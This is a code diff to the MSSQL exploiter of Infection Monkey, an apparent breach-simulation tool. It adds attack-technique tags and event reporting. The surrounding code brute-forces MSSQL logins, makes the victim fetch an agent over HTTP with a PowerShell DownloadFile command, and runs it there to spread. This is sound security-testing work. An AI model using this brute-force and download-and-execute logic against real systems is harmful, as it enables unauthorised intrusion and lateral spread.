diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a2a63eec8..a6f8fd5ce 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,12 +1,18 @@ import logging from pathlib import PureWindowsPath -from time import sleep -from typing import Sequence, Tuple +from time import sleep, time +from typing import Iterable, Optional, Tuple import pymssql from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.credentials import get_plaintext +from common.tags import ( + T1059_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, +) from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dst_path @@ -20,6 +26,8 @@ from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) +MSSQL_EXPLOITER_TAG = "mssql-exploiter" + class MSSQLExploiter(HostExploiter): _EXPLOITED_SERVICE = "MSSQL" @@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter): "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')" ) + _EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + _PROPAGATION_TAGS = ( + MSSQL_EXPLOITER_TAG, + T1059_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + ) + def __init__(self): super().__init__() self.cursor = None self.agent_http_path = None def _exploit_host(self) -> ExploiterResultData: - agent_path_on_victim = get_agent_dst_path(self.host) + agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host)) # Brute force to get connection creds = generate_identity_secret_pairs( @@ -52,16 +67,18 @@ class MSSQLExploiter(HostExploiter): try: self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) except FailedExploitationError: - logger.info( + error_message = ( f"Failed brute-forcing of MSSQL server on {self.host}," f" no credentials were successful" ) + logger.error(error_message) return self.exploit_result if self._is_interrupted(): self._set_interrupted() return self.exploit_result + timestamp = time() try: self._upload_agent(agent_path_on_victim) self._run_agent(agent_path_on_victim) @@ -72,15 +89,17 @@ class MSSQLExploiter(HostExploiter): ) logger.error(error_message) + self._publish_propagation_event(timestamp, False, error_message=error_message) self.exploit_result.error_message = error_message return self.exploit_result + self._publish_propagation_event(timestamp, True) self.exploit_result.propagation_success = True return self.exploit_result def _brute_force( - self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]] + self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]] ) -> pymssql.Cursor: """ Starts the brute force connection attempts and if needed then init the payload process. @@ -106,6 +125,7 @@ class MSSQLExploiter(HostExploiter): ) for user, password in credentials_iterator: + timestamp = time() try: # Core steps # Trying to connect @@ -122,14 +142,14 @@ class MSSQLExploiter(HostExploiter): ) self.exploit_result.exploitation_success = True self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) - self.report_login_attempt(True, user, password) + self._report_login_attempt(timestamp, True, user, password) cursor = conn.cursor() + return cursor except pymssql.OperationalError as err: - logger.info(f"Connection to MSSQL failed: {err}") - self.report_login_attempt(False, user, password) - # Combo didn't work, hopping to the next one - pass + error_message = f"Connection to MSSQL failed: {err}" + logger.info(error_message) + self._report_login_attempt(timestamp, False, user, password, error_message) logger.warning( "No user/password combo was able to connect to host: {0}:{1}, " @@ -139,14 +159,23 @@ class MSSQLExploiter(HostExploiter): "Bruteforce process failed on host: {0}".format(self.host.ip_addr) ) + def _report_login_attempt( + self, timestamp: float, success: bool, user, password: str, message: str = "" + ): + self._publish_exploitation_event(timestamp, success, error_message=message) + self.report_login_attempt(success, user, password) + def _upload_agent(self, agent_path_on_victim: PureWindowsPath): http_thread = self._start_agent_server(agent_path_on_victim) self._run_agent_download_command(agent_path_on_victim) - MSSQLExploiter._stop_agent_server(http_thread) + if http_thread: + MSSQLExploiter._stop_agent_server(http_thread) - def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer: + def _start_agent_server( + self, agent_path_on_victim: PureWindowsPath + ) -> Optional[LockedHTTPServer]: self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(agent_path_on_victim), self.agent_binary_repository ) @@ -179,7 +208,7 @@ class MSSQLExploiter(HostExploiter): def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: agent_args = build_monkey_commandline( - self.servers, self.current_depth + 1, agent_path_on_victim + self.servers, self.current_depth + 1, str(agent_path_on_victim) ) return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index a24fb909e..70adf3d7b 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -3,6 +3,7 @@ import urllib.error import urllib.parse import urllib.request from threading import Lock +from typing import Optional, Tuple from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port @@ -28,7 +29,7 @@ class HTTPTools(object): @staticmethod def create_locked_transfer( host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None - ) -> LockedHTTPServer: + ) -> Tuple[Optional[str], Optional[LockedHTTPServer]]: """ Create http server for file transfer with a lock :param host: Variable with target's information